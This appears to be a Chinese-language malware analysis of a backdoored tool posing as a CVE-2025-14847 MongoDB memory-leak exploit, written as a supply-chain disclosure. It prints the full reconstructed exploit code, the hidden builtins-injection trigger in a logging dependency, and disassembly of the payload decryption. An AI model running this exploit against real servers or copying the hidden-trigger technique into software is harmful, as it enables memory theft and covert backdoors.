MongoBleed供应链攻击逆向分析报告(详细版)

admin 2026-03-29 23:43:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了MongoBleed供应链攻击的逆向过程。该恶意文件伪装为CVE-2025-14847MongoDB内存泄漏EXP,实则通过依赖链slogsec至logcrypt.cryptography植入恶意C扩展库,实现远程载荷下载、数据外泄与持久化控制。报告指出被投毒的是第三方扩展版仓库而非原版MDUT项目,并从exploit.py表面功能、slogsec模块恶意触发链等层面逐层剖析攻击机制,揭示后门通过Pythonbuiltins注入执行的隐蔽手法。建议用户仅从原版仓库获取工具并核查依赖完整性以防范此类供应链攻击。 综合评分: 82 文章分类: 漏洞分析,供应链安全,逆向分析,恶意软件


cover_image

MongoBleed 供应链攻击逆向分析报告(详细版)

Ch1ngg Ch1ngg

白帽100安全攻防实验室

2026年3月26日 14:14 上海

基本信息

| 属性 | 值 | | — | — | | 文件名 | MongoBleed | | 类型 | ELF 64-bit LSB executable, x86-64, stripped | | 大小 | 10,281,192 bytes (~10MB) | | SHA256 | 8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca | | MD5 | ae978caf837221519847c0764bc492a8 | | 打包方式 | PyInstaller 2.1+ / Python 3.12 | | pydata 段 | 0x9be5c8 字节(约 10.2MB),包含全部 Python 模块 |

项目溯源声明

此恶意文件来源于第三方扩展版仓库,与原版 MDUT 项目 SafeGroceryStore/MDUT 无任何关系。 原版 MDUT 不包含 MongoDB 相关插件,MongoBleed 是第三方「扩展版」自行新增的组件。其中扩展版的MongoBleed 工具被植入了后门。投毒行为与原作者无关,请勿混淆。

  • 原版项目: https://github.com/SafeGroceryStore/MDUT (安全)
  • 被投毒的第三方扩展版: https://github.com/DeEpinGh0st/MDUT-Extend-Release (受影响)
  • 问题报告: issues/22

确认存在供应链后门。 工具表面是 CVE-2025-14847 MongoDB 内存泄漏 EXP,但依赖链 slogsec -> logcrypt.cryptography 中植入了恶意 C 扩展库,执行远程载荷下载、数据外泄和持久化控制。


攻击链路图

1. exploit.py — 表面功能(CVE-2025-14847 EXP)

从字节码重建的完整源码:

# exploit.py -- CVE-2025-14847 MongoDB 内存泄漏利用工具
import socket                                           # 第1行
import struct                                           # 第2行
import zlib                                             # 第3行
import re                                               # 第4行
import argparse                                         # 第5行
import&nbsp;slogsec &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# <-- 恶意依赖入口 &nbsp; &nbsp; &nbsp; # 第6行
import&nbsp;threading &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 第7行
from&nbsp;concurrent.futures&nbsp;import&nbsp;ThreadPoolExecutor, as_completed &nbsp;# 第8行

log = slogsec.get_logger('CVE-2025-14847') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 第10行

defhexdump(data, length=16): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 第12行
"""格式化十六进制输出"""
&nbsp; &nbsp; log.info(f"{'Offset':<10}{'Hex':<47}{'ASCII'}")
&nbsp; &nbsp; log.info('-'&nbsp;*&nbsp;75)
for&nbsp;i&nbsp;inrange(0,&nbsp;len(data), length):
&nbsp; &nbsp; &nbsp; &nbsp; chunk = data[i:i+length]
&nbsp; &nbsp; &nbsp; &nbsp; hex_part =&nbsp;' '.join(f"{b:02x}"for&nbsp;b&nbsp;in&nbsp;chunk)
&nbsp; &nbsp; &nbsp; &nbsp; ascii_part =&nbsp;''.join(chr(b)&nbsp;if32&nbsp;<= b <=&nbsp;126else'.'for&nbsp;b&nbsp;in&nbsp;chunk)
&nbsp; &nbsp; &nbsp; &nbsp; log.info(f"{i:08x}: &nbsp;{hex_part:<47}&nbsp; |{ascii_part}|")

defbuild_malformed_packet(leak_size): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 第21行
"""构造恶意 OP_COMPRESSED 数据包"""
# 构造 isMaster BSON 命令
&nbsp; &nbsp; bson_payload =&nbsp;b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00'

# 构造 OP_QUERY 头部(指向 admin.$cmd)
&nbsp; &nbsp; op_query_header = (struct.pack('<I',&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+&nbsp;b'admin.$cmd\x00'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ struct.pack('<ii',&nbsp;0, -1))
&nbsp; &nbsp; original_msg = op_query_header + bson_payload

# zlib 压缩
&nbsp; &nbsp; compressed_body = zlib.compress(original_msg)

# 构造 OP_COMPRESSED 数据(opcode=2004=OP_QUERY, 伪造 uncompressed size)
&nbsp; &nbsp; op_compressed_data = (struct.pack('<I',&nbsp;2004) &nbsp; &nbsp; &nbsp; &nbsp;# 原始 opcode
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + struct.pack('<I', leak_size) &nbsp;# 伪造的解压大小 <-- 漏洞核心
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;b'\x02'# compressorId = zlib
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + compressed_body)

# 生成 MongoDB wire protocol 头部
&nbsp; &nbsp; request_id = random.randint(1000,&nbsp;9999)
&nbsp; &nbsp; op_code =&nbsp;2012# OP_COMPRESSED
&nbsp; &nbsp; total_len =&nbsp;16&nbsp;+&nbsp;len(op_compressed_data)
&nbsp; &nbsp; header = struct.pack('<iiii', total_len, request_id,&nbsp;0, op_code)

return&nbsp;header + op_compressed_data, request_id

defsend_probe(host, port, doc_len, buffer_size, timeout_sec=2): &nbsp;# 第54行
"""发送畸形 BSON 触发内存泄漏"""
&nbsp; &nbsp; content =&nbsp;b'\x10a\x00\x01\x00\x00\x00'# BSON int32 element
&nbsp; &nbsp; bson = struct.pack('<i', doc_len) + content &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 伪造文档长度

# 构造 OP_MSG (opcode=2013)
&nbsp; &nbsp; op_msg = struct.pack('<I',&nbsp;0) +&nbsp;b'\x00'&nbsp;+ bson
&nbsp; &nbsp; compressed = zlib.compress(op_msg)

# OP_COMPRESSED 载荷
&nbsp; &nbsp; payload = struct.pack('<I',&nbsp;2013) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 原始 opcode
&nbsp; &nbsp; payload += struct.pack('<i', buffer_size) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 欺骗性解压大小
&nbsp; &nbsp; payload += struct.pack('B',&nbsp;2) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# compressorId = zlib
&nbsp; &nbsp; payload += compressed

# Wire protocol 头部
&nbsp; &nbsp; header = struct.pack('<IIII',&nbsp;16&nbsp;+&nbsp;len(payload),&nbsp;1,&nbsp;0,&nbsp;2012)

try:
&nbsp; &nbsp; &nbsp; &nbsp; sock = socket.socket()
&nbsp; &nbsp; &nbsp; &nbsp; sock.settimeout(timeout_sec)
&nbsp; &nbsp; &nbsp; &nbsp; sock.connect((host, port))
&nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(header + payload)

# 接收响应
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;b''
while&nbsp;(len(response) <&nbsp;4or
len(response) < struct.unpack('<I', response[:4])[0]):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = sock.recv(4096)
ifnot&nbsp;chunk:
break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response += chunk
&nbsp; &nbsp; &nbsp; &nbsp; sock.close()
return&nbsp;response
except:
returnb''

defextract_leaks(response): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 第89行
"""从错误响应中提取泄漏的内存数据"""
iflen(response) <&nbsp;25:
return&nbsp;[]
try:
&nbsp; &nbsp; &nbsp; &nbsp; msg_len = struct.unpack('<I', response[:4])[0]

# 判断是否是 OP_COMPRESSED 响应
if&nbsp;struct.unpack('<I', response[12:16])[0] ==&nbsp;2012:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw = zlib.decompress(response[25:msg_len])
else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw = response[16:msg_len]
except:
return&nbsp;[]

&nbsp; &nbsp; leaks = []

# 模式1:从错误消息的 field name 中提取泄漏数据
formatchin&nbsp;re.finditer(b"field name '([^']*)'", raw):
&nbsp; &nbsp; &nbsp; &nbsp; data =&nbsp;match.group(1)
ifnot&nbsp;data:
continue
if&nbsp;data&nbsp;notin&nbsp;(b'?',&nbsp;b'a',&nbsp;b'$db',&nbsp;b'ping'):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; leaks.append(data)

# 模式2:从 type 字段中提取泄漏的字节
formatchin&nbsp;re.finditer(b'type (\\d+)', raw):
&nbsp; &nbsp; &nbsp; &nbsp; leaks.append(bytes([int(match.group(1)) &&nbsp;255]))

return&nbsp;leaks

defmain(): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 第117行
&nbsp; &nbsp; parser = argparse.ArgumentParser(
&nbsp; &nbsp; &nbsp; &nbsp; description='CVE-2025-14847 MongoDB Memory Leak')
&nbsp; &nbsp; parser.add_argument('--host', default='localhost',&nbsp;help='Target host')
&nbsp; &nbsp; parser.add_argument('--port',&nbsp;type=int, default=27017,&nbsp;help='Target port')
&nbsp; &nbsp; parser.add_argument('--min-offset',&nbsp;type=int, default=20,&nbsp;help='Min doc length')
&nbsp; &nbsp; parser.add_argument('--max-offset',&nbsp;type=int, default=8192,&nbsp;help='Max doc length')
&nbsp; &nbsp; parser.add_argument('-timeout',&nbsp;'--timeout',&nbsp;type=int, default=2,
help='Connection timeout in seconds')
&nbsp; &nbsp; parser.add_argument('-c',&nbsp;'--thread',&nbsp;type=int, default=50,
help='Number of concurrent threads')
&nbsp; &nbsp; parser.add_argument('--output', default='leaked.bin',&nbsp;help='Output file')
&nbsp; &nbsp; args = parser.parse_args()

&nbsp; &nbsp; log.info(f"[*] Target:&nbsp;{args.host}:{args.port}")
&nbsp; &nbsp; log.info(f"[*] Scanning offsets&nbsp;{args.min_offset}-{args.max_offset}")
&nbsp; &nbsp; log.info(f"[*] Timeout:&nbsp;{args.timeout}s")
&nbsp; &nbsp; log.info(f"[*] Threads:&nbsp;{args.thread}")

&nbsp; &nbsp; all_leaked =&nbsp;bytearray()
&nbsp; &nbsp; unique_leaks =&nbsp;set()
&nbsp; &nbsp; lock = threading.Lock()

defworker(doc_len):
"""多线程工作函数"""
&nbsp; &nbsp; &nbsp; &nbsp; response = send_probe(args.host, args.port,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; doc_len, doc_len +&nbsp;500, args.timeout)
&nbsp; &nbsp; &nbsp; &nbsp; leaks = extract_leaks(response)
for&nbsp;data&nbsp;in&nbsp;leaks:
with&nbsp;lock:
if&nbsp;data&nbsp;notin&nbsp;unique_leaks:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unique_leaks.add(data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; all_leaked.extend(data)

iflen(data) >&nbsp;10:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.info(f"[+] offset={doc_len:4d}&nbsp;len={len(data):4d}:")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hexdump(data[:80], length=16)

# 使用线程池并发扫描
with&nbsp;ThreadPoolExecutor(max_workers=args.thread)&nbsp;as&nbsp;executor:
&nbsp; &nbsp; &nbsp; &nbsp; futures = {executor.submit(worker, dl): dl
for&nbsp;dl&nbsp;inrange(args.min_offset, args.max_offset)}
try:
for&nbsp;future&nbsp;in&nbsp;as_completed(futures):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; future.result()
except&nbsp;KeyboardInterrupt:
for&nbsp;f&nbsp;in&nbsp;futures:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.cancel()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; executor.shutdown(wait=False)

# 保存泄漏数据
withopen(args.output,&nbsp;'wb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(all_leaked)

&nbsp; &nbsp; log.success(f"[*] Total leaked:&nbsp;{len(all_leaked)}&nbsp;bytes")
&nbsp; &nbsp; log.info(all_leaked.lower().decode())

if&nbsp;__name__ ==&nbsp;'__main__': &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 第177行
&nbsp; &nbsp; main()

[!IMPORTANT] 漏洞利用本身看起来是真实有效的 MongoDB OP_COMPRESSED 内存泄漏工具——这是供应链攻击的伪装外衣。真正的恶意代码隐藏在依赖链中。


2. slogsec 模块 — 恶意触发链

2.1 slogsec/init.py

# slogsec/__init__.py
from&nbsp;.log&nbsp;import&nbsp;get_logger
from&nbsp;.secure&nbsp;import&nbsp;enable_secure_logging
from&nbsp;.decrypt&nbsp;import&nbsp;decrypt_secure_log

__all__ = ['get_logger',&nbsp;'enable_secure_logging',&nbsp;'decrypt_secure_log']

log = get_logger('slogsec') &nbsp; &nbsp;# 第12行 - 模块加载时就初始化

2.2 slogsec/log.py — 日志封装(看似正常)

# slogsec/log.py
import&nbsp;logging
from&nbsp;colorlog&nbsp;import&nbsp;ColoredFormatter

SUCCESS =&nbsp;25# 自定义日志级别
FAIL =&nbsp;45

logging.addLevelName(SUCCESS,&nbsp;"SUCCESS")
logging.addLevelName(FAIL,&nbsp;"FAIL")

def_create_colored_handler():
&nbsp; &nbsp; handler = logging.StreamHandler()
&nbsp; &nbsp; formatter = ColoredFormatter(
'%(log_color)s%(message)s',
&nbsp; &nbsp; &nbsp; &nbsp; log_colors={
'DEBUG':&nbsp;'cyan',
'INFO':&nbsp;'white',
'SUCCESS':&nbsp;'green',
'WARNING':&nbsp;'yellow',
'FAIL':&nbsp;'red',
'ERROR':&nbsp;'red',
'CRITICAL':&nbsp;'bold_red',
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; handler.setFormatter(formatter)
return&nbsp;handler

classClogAdapter(logging.LoggerAdapter):
def__init__(self, name):
&nbsp; &nbsp; &nbsp; &nbsp; logger = logging.getLogger(name)
ifnot&nbsp;logger.handlers:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; logger.addHandler(_create_colored_handler())
&nbsp; &nbsp; &nbsp; &nbsp; logger.setLevel(logging.DEBUG)
super().__init__(logger, {})

defsuccess(self, msg, *args, **kwargs):
&nbsp; &nbsp; &nbsp; &nbsp; self.log(25, msg, *args, **kwargs)

deffail(self, msg, *args, **kwargs):
&nbsp; &nbsp; &nbsp; &nbsp; self.log(45, msg, *args, **kwargs)

defget_logger(name):
return&nbsp;ClogAdapter(name)

2.3 slogsec/secure.py — 后门触发器

# slogsec/secure.py
from&nbsp;pathlib&nbsp;import&nbsp;Path
from&nbsp;logcrypt&nbsp;import&nbsp;generate_key &nbsp; &nbsp; &nbsp; &nbsp;# <-- 引入 logcrypt(触发加载 cryptography.so)
from&nbsp;logcrypt&nbsp;import&nbsp;Logger&nbsp;as&nbsp;cryptlogger

secure_logger =&nbsp;None

defenable_secure_logging(filename, key_file, correlation_id=None, log_level='INFO'):
"""
&nbsp; &nbsp; Enable encrypted file logging and return a logger that writes to BOTH:
&nbsp; &nbsp; &nbsp; - Beautiful colored console
&nbsp; &nbsp; &nbsp; - Encrypted + checksum-protected file
&nbsp; &nbsp; """
global&nbsp;secure_logger
&nbsp; &nbsp; key_path = Path(key_file)

# 如果密钥文件不存在,生成新密钥
ifnot&nbsp;key_path.exists():
&nbsp; &nbsp; &nbsp; &nbsp; generate_key(encryption_key=None, key_file=str(key_path))

# 创建加密日志记录器
&nbsp; &nbsp; secure_logger = cryptlogger(
&nbsp; &nbsp; &nbsp; &nbsp; file_name=filename,
&nbsp; &nbsp; &nbsp; &nbsp; encrypt_file=True,
&nbsp; &nbsp; &nbsp; &nbsp; key_file=str(key_path),
&nbsp; &nbsp; &nbsp; &nbsp; log_level=log_level,
&nbsp; &nbsp; &nbsp; &nbsp; correlation_id=correlation_id&nbsp;or'slogsec',
&nbsp; &nbsp; &nbsp; &nbsp; async_logging=True,
&nbsp; &nbsp; &nbsp; &nbsp; file_format='text'
&nbsp; &nbsp; )

print(f"Slogsec secure logging enabled ->&nbsp;{filename}")
print(f"Key stored at ->&nbsp;{key_path.resolve()}")

# ===== 后门触发代码 =====
try:
import&nbsp;builtins
ifhasattr(builtins,&nbsp;'__slogsec_make_secure__'): &nbsp;&nbsp;# 检查是否已被注入
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; builtins.__slogsec_make_secure__() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 调用恶意函数!
except&nbsp;Exception:
pass# 静默吞掉异常

return&nbsp;secure_logger

[!CAUTION] 第 42-47 行是关键恶意代码。__slogsec_make_secure__ 是由 cryptography.so 在 PyInit_cryptography() 中注入到 Python builtins 模块的恶意函数。用 try/except 静默吞掉所有异常,确保即使恶意代码执行失败也不影响正常功能。


3. logcrypt 模块 — 恶意载荷宿主

3.1 logcrypt/init.py

# logcrypt/__init__.py
from&nbsp;.core&nbsp;import&nbsp;Logger
from&nbsp;.levels&nbsp;import&nbsp;*
from&nbsp;.cryptography&nbsp;import&nbsp;encrypt_message, decrypt_message &nbsp;# <-- 加载恶意 .so
from&nbsp;.key_manager&nbsp;import&nbsp;generate_key
from&nbsp;.decrypt_log&nbsp;import&nbsp;decrypt_log
from&nbsp;.filters&nbsp;import&nbsp;CorrelationIdFilter, RedactionFilter

[!WARNING] from .cryptography import encrypt_message, decrypt_message 这一行触发 Python 加载 cryptography.so,执行其 PyInit_cryptography() 函数——即恶意代码的真正入口。

3.2 logcrypt/core.py — 加密日志处理器

# logcrypt/core.py (重建的关键部分)
import&nbsp;logging
import&nbsp;hashlib
from&nbsp;logcrypt.cryptography&nbsp;import&nbsp;encrypt_message
from&nbsp;logcrypt.formatters&nbsp;import&nbsp;ColoredFormatter
from&nbsp;logcrypt.filters&nbsp;import&nbsp;CorrelationIdFilter

classEncryptedFileHandler(logging.FileHandler):
"""加密文件日志 Handler"""
def__init__(self, filename, encryption_key, mode='a', encoding=None, delay=False):
super().__init__(filename, mode, encoding, delay)
&nbsp; &nbsp; &nbsp; &nbsp; self.encryption_key = encryption_key

defemit(self, record):
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; formatted = self.format(record)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; checksum = hashlib.sha256(formatted.encode('utf-8')).hexdigest()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; encrypted = encrypt_message(formatted, self.encryption_key)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg_to_write =&nbsp;f"{checksum}:{encrypted}"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.stream.write(msg_to_write + self.terminator)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.flush()
except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.handleError(record)

classLogger:
"""主日志类 - 支持控制台彩色输出 + 加密文件记录"""
def__init__(self, file_name=None, log_level='INFO',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;correlation_id=None, encrypt_file=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;encryption_key=None, key_file=None,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;file_format='text', async_logging=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;redact_patterns=None):
&nbsp; &nbsp; &nbsp; &nbsp; self.logger = logging.getLogger('custom_logger')
&nbsp; &nbsp; &nbsp; &nbsp; self.logger.setLevel(getattr(logging, log_level.upper(), logging.INFO))
&nbsp; &nbsp; &nbsp; &nbsp; self.encryption_key =&nbsp;None
&nbsp; &nbsp; &nbsp; &nbsp; self.file_handler =&nbsp;None
&nbsp; &nbsp; &nbsp; &nbsp; self.encrypt_file = encrypt_file
&nbsp; &nbsp; &nbsp; &nbsp; self.async_logging = async_logging
&nbsp; &nbsp; &nbsp; &nbsp; self.listener =&nbsp;None
# ... 后续初始化控制台 handler、文件 handler 等

4. cryptography.so — 恶意核心(深度二进制分析)

4.1 文件属性

类型: &nbsp; ELF 64-bit LSB shared object (Python C 扩展)
编译器: GCC 11.3.0 (Debian)
.text: &nbsp;0x9110 字节 (37KB 代码段)
入口: &nbsp; PyInit_cryptography (地址 0x36a0)

4.2 完整导出符号表

PyInit_cryptography &nbsp; T &nbsp;0x36a0 &nbsp;-- Python 模块初始化(恶意核心)
encrypt_message &nbsp; &nbsp; &nbsp; -- &nbsp; &nbsp; &nbsp; &nbsp; -- 正常功能伪装(RC4+Base64 加密)
decrypt_message &nbsp; &nbsp; &nbsp; -- &nbsp; &nbsp; &nbsp; &nbsp; -- 正常功能伪装(RC4+Base64 解密)
system &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0x6390 &nbsp;-- 执行系统命令
execve &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0xb050 &nbsp;-- 执行程序
open &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0x4220 &nbsp;-- 打开文件
read &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0xacd0 &nbsp;-- 读取文件
fwrite &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0xb300 &nbsp;-- 写入文件
mkdir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; T &nbsp;0x69a0 &nbsp;-- 创建目录
access &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0x71d0 &nbsp;-- 检查文件权限
getenv &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0x4180 &nbsp;-- 读取环境变量
getlogin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;0xabd0 &nbsp;-- 获取用户名
posix_spawn* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;T &nbsp;-- &nbsp; &nbsp; &nbsp;-- 进程创建系列函数
Py_Initialize &nbsp; &nbsp; &nbsp; &nbsp; U &nbsp;(外部) &nbsp;-- 初始化 Python 解释器
PySys_GetObject &nbsp; &nbsp; &nbsp; U &nbsp;(外部) &nbsp;-- 获取 sys 模块对象
PyDict_Next &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; U &nbsp;(外部) &nbsp;-- 遍历字典
PyObject_HasAttrString U (外部) &nbsp;-- 检查对象属性
PyModule_Create2 &nbsp; &nbsp; &nbsp;U &nbsp;(外部) &nbsp;-- 创建 Python 模块

4.3 PyInit_cryptography() 反汇编分析

函数从 0x36a0 开始,栈帧 0x3238 字节(约 13KB),主要执行以下操作:

阶段 1 – 初始化混淆数据

;; 在栈上布置混淆的数据
;; 混淆路径(0x97-0xaf): XOR 加密的 ".local/lib/pytho/site-packages/"
mov &nbsp; &nbsp;rax, 0x4138162a213f3622 &nbsp; &nbsp; ; 混淆路径前8字节
mov &nbsp; &nbsp;[rsp+0xa3], rax
mov &nbsp; &nbsp;rax, 0x312e2e27333935 &nbsp; &nbsp; &nbsp; ; "593'.1." 混淆路径部分
mov &nbsp; &nbsp;[rsp+0x97], rax
movl &nbsp; [rsp+0xab], 0x21357737 &nbsp; &nbsp; &nbsp;; "7w5!"
movb &nbsp; [rsp+0xaf], 0x50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; "P"
movl &nbsp; [rsp+0x9f], 0x582d2d20 &nbsp; &nbsp; &nbsp;; " --X"

;; 两块大型混淆数据从 .rodata 段加载(地址 0xc080 和 0xc408)
;; 分别是 0x386 字节和 0x1d0 字节的加密恶意载荷

阶段 2 – 遍历 Python 模块提取密钥

;; 获取 sys.path
lea &nbsp; &nbsp;rdi, [rip+0x87e7] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; "path" 字符串
call &nbsp; PySys_GetObject@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; rax = sys.path

;; 调用 Py_Initialize 初始化解释器
call &nbsp; Py_Initialize@plt

;; 获取 Python 模块字典
lea &nbsp; &nbsp;rdi, [rip+0x87e7] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; "modules" 或 "path"
call &nbsp; PySys_GetObject@plt

;; 遍历字典寻找特定属性作为 XOR 密钥
loop:
&nbsp; &nbsp; mov &nbsp; &nbsp;rdi, rbp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 字典位置指针
&nbsp; &nbsp; call &nbsp; PyDict_Next@plt
&nbsp; &nbsp; test &nbsp; eax, eax
&nbsp; &nbsp; jne &nbsp; &nbsp;check_attr
&nbsp; &nbsp; jmp &nbsp; &nbsp;decrypt_phase

check_attr:
&nbsp; &nbsp; mov &nbsp; &nbsp;rdi, [rsp+0x60] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 当前字典项
&nbsp; &nbsp; lea &nbsp; &nbsp;rsi, [rip+...] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; "__file__" 属性名
&nbsp; &nbsp; call &nbsp; PyObject_HasAttrString@plt
&nbsp; &nbsp; test &nbsp; eax, eax
&nbsp; &nbsp; jne &nbsp; &nbsp;found_key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 找到密钥
&nbsp; &nbsp; jmp &nbsp; &nbsp;loop

阶段 3 – XOR 解密 + zlib 解压

;; 使用提取的密钥(存储在 rbp,长度在 r12/rcx)逐字节 XOR 解密

;; 解密 site-packages 路径(25字节,偏移 0x97-0xaf)
xor &nbsp; &nbsp;[rsp+0x97], al &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 逐字节 XOR
xor &nbsp; &nbsp;[rsp+0x98], al
... (重复25次)
;; 结果: ".local/lib/python3.12/site-packages/"

;; 解密恶意脚本A(0x386字节,循环 XOR)
decrypt_loop_A:
&nbsp; &nbsp; mov &nbsp; &nbsp;rax, rcx
&nbsp; &nbsp; xor &nbsp; &nbsp;edx, edx
&nbsp; &nbsp; div &nbsp; &nbsp;rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; index % key_length
&nbsp; &nbsp; movzbl eax, [rbp+rdx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; key[index % key_len]
&nbsp; &nbsp; xor &nbsp; &nbsp;[rdi+rcx], al &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; data[i] ^= key[i % key_len]
&nbsp; &nbsp; add &nbsp; &nbsp;rcx, 1
&nbsp; &nbsp; cmp &nbsp; &nbsp;rcx, 0x386 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 共 902 字节
&nbsp; &nbsp; jne &nbsp; &nbsp;decrypt_loop_A

;; 解密恶意脚本B(0x1d0字节,循环 XOR)
decrypt_loop_B:
&nbsp; &nbsp; ... (同样的 XOR 循环)
